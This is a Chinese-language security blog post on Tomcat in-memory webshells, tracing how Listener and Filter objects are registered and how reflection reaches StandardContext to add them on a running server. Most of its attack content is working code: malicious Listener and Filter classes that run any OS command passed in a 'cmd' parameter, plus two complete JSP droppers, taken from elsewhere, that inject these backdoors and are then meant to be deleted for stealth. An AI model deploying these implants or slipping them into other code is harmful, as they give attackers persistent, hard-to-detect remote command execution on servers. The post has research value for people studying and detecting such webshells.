tomcat内存马

tomcat 容器

tomcat 主要包含四种容器:Engine,Host,Context,Wrapper。其对应关系如下图

image-20210406203203615

详细解读一下这个图。

一台服务器上是可以配置多个站点的,对于tomcat来说,每一个站点就对应一个HOST。

一个站点上是可以配置多个WEB应用的,比如说一个站点可能会有OA,SSO,邮件应用等等WEB应用,对于tomcat来说每一个WEB应用便对应着一个Context。

一个WEB应用中肯定也有多个访问路径,比如说OA可能就有登录,前端展示,搜索等。所以对于每一个访问路径tomcat都会分配一个Wrapper,每一个Wrapper对应一个Servlet,用于处理特定请求。

Listener 内存马

tomcat收到请求时,处理顺序是 Listener->Filter->Servlet。
也就是说Listener是最先接触到数据请求的,我们可以在Listener上做手脚从而达到内存马的目的。

实际上,我们想实现一个内存马,思路便是想让tomcat执行一段恶意程序,把恶意的listener或者filter类写入tomcat内存中,由于tomcat处理请求时,请求会被listener和filter处理(也就是说会被我们的恶意类处理),因此达到隐蔽的木马功能。

具体怎么个实现呢?我们可以大致想象一个思路:获取服务器初步权限后,创建一个JSP并向内写入向内存注入恶意Listener或filter的代码,随后访问JSP触发JSP代码,恶意Listener或filter被注入内存,随后删除JSP,通过恶意Listener或filter实现无文件webshell。但是由于一些原因导致直接通过addListener或者addFilter来添加监听器或过滤器会报错,具体解决方法就是下文的内容了:

ServletContext

如果我们想添加一个Listener,那么势必会用到一个方法:addListener。

我们来分析以下这个方法,想办法通过addListener方法把恶意Listener注入内存。
首先addListener方法是这么用的。

ServletContext servletContext = this.getServletConfig().getServletContext();
servletContext.addListener("");

我们直接跟进addListener,会发现跟进到了ServletContext这个接口类。

image-20210626150246949

那么实现addListener的类是什么呢?换句话说,servletContext这个实例化对象是如何被实例化的呢?

ApplicationContext

image-20210626150652699

通过调试,我们发现servletContext这个对象实际上是一个ApplicationContextFacade对象。
我们跟进到ApplicationContextFacade.class中,查看addListener方法的实现。

image-20210626151054515

发现实际上是调用了ApplicationContext类的addListener方法。再次跟进。

image-20210626153212402

这里还调用了一个addListener,再次跟进。

image-20210626154012832

这里借用的别人的图,可以发现如果服务器已启动,那么通过直接调用addListener是无法添加监听器的。

究其原因,便是此处的context是StandardContext,它的状态是开始状态,无法在if判断中返回true。
这也就是上文提到的 “但是由于一些原因导致直接通过addListener或者addFilter来添加监听器或过滤器会报错”

image-20210626154229868

如果能够突破if判断,来到此处,那么监听器就会被顺利的添加上

image-20210626155428011

编写Listener内存马

既然阻碍我们添加Listener的原因已经找到了,那么就应该考虑如何绕过这个限制了。
很简单,通过反射即可绕过这个限制。

在编写反射代码之前,我们有必要去看一下,我们怎样才能通过反射”够到”StandardContext的addApplicationEventListener方法。

image-20210626160137366

可以直观的看到,我们可以通过servletContext获得它的context属性(ApplicationContext对象),然后通过ApplicationContext对象的context获得StandardContext对象,然后调用addApplicationEventListener方法。很好。

反射代码
ServletContext servletContext = this.getServletConfig().getServletContext();
Field field = servletContext.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
standardContext.addApplicationEventListener(new MyListener(request,response)); //这一行是将某个Listener类添加到监听器
恶意Listener
public class MyListenr implements ServletRequestListener {

public ServletResponse response;
public ServletRequest request;

MyListenr(ServletRequest request, ServletResponse response) {
this.request = request;
this.response = response;
}

public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}

public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmder = request.getParameter("cmd");
try {
Process ps = Runtime.getRuntime().exec(cmder);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("<br>");
}
String result = sb.toString();
this.response.getWriter().write(result);
} catch (Exception e) {
System.out.println("error ");
}

}
}

实验一下

image-20210626162713503

我们先访问/a路由,让代码被执行。然后到任意页面传入恶意参数

image-20210626162750746

SUCCESS。

为了更方便的注入内存马,我从网上嫖了一个JSP(Linux版)。只要我们上传该JSP然后访问它一下,内存马就被注入了,十分的方便。

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@ page import="org.apache.jasper.tagplugins.jstl.core.Out" %>
<%@ page import="java.io.IOException" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%
Object obj = request.getServletContext();
Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
ListenH listenH = new ListenH(request, response);
standardContext.addApplicationEventListener(listenH);
out.print("test");
%>
<%!
public class ListenH implements ServletRequestListener {
public ServletResponse response;
public ServletRequest request;

ListenH(ServletRequest request, ServletResponse response) {
this.request = request;
this.response = response;
}

public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}

public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmder = request.getParameter("cmd");
String[] cmd = new String[]{"/bin/sh", "-c", cmder};
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("<br>");
}
String result = sb.toString();
this.response.getWriter().write(result);
}catch (Exception e){
System.out.println("error ");
}

}
}
%>

Filter 内存马

Filter内存马与Listener内存马还是有点区别的,要复杂一点点

doFilter方法如何被执行?

配置filter

再开始分析Filter内存马时,我们需要先知道,Filter类中的doFilter方法是如何被执行的。

OK我们先创建好一个Filter。

Filter类代码
public class MyFilter implements ServletRequestListener {
public void destroy() {
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
System.out.println("Filter!");
chain.doFilter(req,resp);
}
public void init(FilterConfig config) throws ServletException {
}
}

接下来在web.xml中添加Filter。

image-20210626193215688

我们在doFilter方法处下断点,运行,得到调用帧如下

image-20210626204005990

filterchain

我们从StandardWrapperValue#invoke 处开始分析.

filterChain.doFilter(request.getRequest(), response.getResponse());

那么这个filterChain是什么?我们跟进一下

image-20210626204524626

再度跟进到createFilterChain方法,来到了ApplicationFilterFactory.java里。

比较关键的代码是这里。这个方法会遍历FilterMaps,检测每个FilterMap项对应的那个Filter与请求的路由等是否一致。若一致则将以该filter的name为参数去FilterConfigs里去寻找对应的FilterConfig,然后将该filterconfig放入filterchain中。不一致的则抛弃。

image-20210626204752458

filterconfig与filterdef

那么filterconfig又是个什么样的东西呢?

我们跟进context.findFilterConfig,这里的context是StandardContext。

image-20210626205344727

再度跟进filterconfigs,就可以很明显的发现filterconfigs是一个hashmap结构 键为filter名,值为filterconfigimage-20210626205418654

那么filterconfig的结构又是如何。我们跟进ApplicationFilterConfig类。下图是此类的构造函数

image-20210626205854332

关键地方圈出来了是与filterdef有关的代码。在构造函数的时候将传入context和filterdef,然后再通过对filterdef调用getfilter获得filter类(即我们自己定义的filter类)。
我们再看看filterDef的关键代码

image-20210626210144048image-20210626210116555

OKOK,上面就是FilterConfig,FilterChain和FilterDef的一些零碎的介绍。
我们大致可以得到下列关键信息

FilterConfigs 是一个HashMap结构,键为filter名,值为filterconfig
filterconfig包含了filterdef
filterdef直接与filter类相关联

StandardWrapperValue#invoke 这一层分析完了,这一层是最麻烦的,向下两层将会亲切很多。

下面的两层

向下分析来到ApplicationFilterChain#doFilter.这一层很简单,调了个internalDofilter就没了image-20210626210643466

再向下分析来到ApplicationFilterChain#internalDoFilter。image-20210626210808889

关键的地方圈出来了,大致就是通过filterchain里的filterconfig的getFilter方法(下图为getFilter方法,可以明显看到是返回了filter)从而获得filterdef里的filter,从而调用filter的dofilter,这就是大概的流程。

image-20210627113023603

加载过程流程图

文字总是有些贫瘠的,用图来说话就会明了许多。image-20210627115155496

FilterDef添加

我们如何把FilterDef与我们的Filter关联起来并添加到standardContext中呢?这个问题比较关键,因为我们必须将我们的FilterDef注入到内存才能让我们的Filter有被调用的可能性。

实际上呢,也很简单。流程上来说与Listener内存马差不多

打断点

image-20210627122501784

跟进image-20210627122632548

再跟

image-20210627122645331

继续跟

image-20210627122745165

来到此处,与Listener内存马神似。
if判断里判断了程序是否在运行
context是standardContext,这里调用了它的addFilterDef来添加FilterDef。

编写Filter内存马

既然流程已经明白了,那写起来就不难了.
至于为什么要用反射,原因和Listener是一样的。

反射代码
try {
response.getWriter().write("a");
System.out.println("Servlet Get Message\n");
Object obj = request.getServletContext();
Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
//获取standardContext

FilterDef filterDef = new FilterDef();
filterDef.setFilter(new MyFilter());
filterDef.setFilterName("MyFilter");
standardContext.addFilterDef(filterDef);
//将FilterDef与filter关联,注入到内存

field = standardContext.getClass().getDeclaredField("filterConfigs");
field.setAccessible(true);
HashMap filterConfigs = (HashMap) field.get(standardContext);//获取filterConfigs
Constructor constructor =
Class.forName("org.apache.catalina.core.ApplicationFilterConfig").
getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
filterConfigs.put("MyFilter",constructor.newInstance(standardContext,filterDef));
//将包含filterDef的filterConfig添加到filterConfigs

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("MyFilter");
standardContext.addFilterMapBefore(filterMap);
//将该filterMap与filterConfig进行NAME绑定并放到filterMaps的首位


} catch (IOException | NoSuchFieldException | IllegalAccessException | ClassNotFoundException | NoSuchMethodException | InstantiationException | InvocationTargetException e) {
e.printStackTrace();
}
木马本体
public class MyFilter implements Filter {
public void destroy() {
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
String cmder = req.getParameter("cmd");
try {
Process ps = Runtime.getRuntime().exec(cmder);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("<br>");
}
String result = sb.toString();
resp.getWriter().write(result);
}catch (Exception e){
System.out.println("error ");
}
chain.doFilter(req,resp);
}
public void init(FilterConfig config) throws ServletException {
}
}

网上嫖的JSP

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
Object obj = request.getServletContext();
Field field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(obj);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);

FilterDef filterDef = new FilterDef();
filterDef.setFilterName("testF");
standardContext.addFilterDef(filterDef); // 在context中添加filterMap时会去找一下是否存在对应的filterdef
Filter filter = new testF();
filterDef.setFilter(filter); // 将我们创建的filter与filterdef相关联起来

field = standardContext.getClass().getDeclaredField("filterConfigs");
field.setAccessible(true);
HashMap hashMap = (HashMap) field.get(standardContext);
Constructor constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
hashMap.put("testF",constructor.newInstance(standardContext,filterDef));

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("testF");
standardContext.addFilterMapBefore(filterMap);
System.out.println("filter ok !");
%>
<%!
public class testF implements Filter {
public void destroy() {
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
String cmder = req.getParameter("cmd");
String[] cmd = new String[]{"/bin/sh", "-c", cmder};
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
//执行结果加上回车
sb.append(line).append("<br>");
}
String result = sb.toString();
resp.getWriter().write(result);
}catch (Exception e){
System.out.println("error ");
}
chain.doFilter(req,resp);
}
public void init(FilterConfig config) throws ServletException {
}
}

%>

image-20210627122022432

总结

个人感觉这篇文章写的比较乱,特别是Filter内存马。
这也是我拖了3个月才来搞的东西,这学期事有点多,很多之前想搞的东西都没腾出时间弄。
这篇文章讲到的内存马实际上并没有实现完全的无文件落地,中间会有恶意JSP文件落地。更高级的攻击形式后面再搞吧。

参考

http://li9hu.top/tomcat%E5%86%85%E5%AD%98%E9%A9%AC%E4%B8%80-%E5%88%9D%E6%8E%A2/

https://www.cnblogs.com/nice0e3/p/14622879.html#servletcontext

https://blog.csdn.net/angry_program/article/details/116661899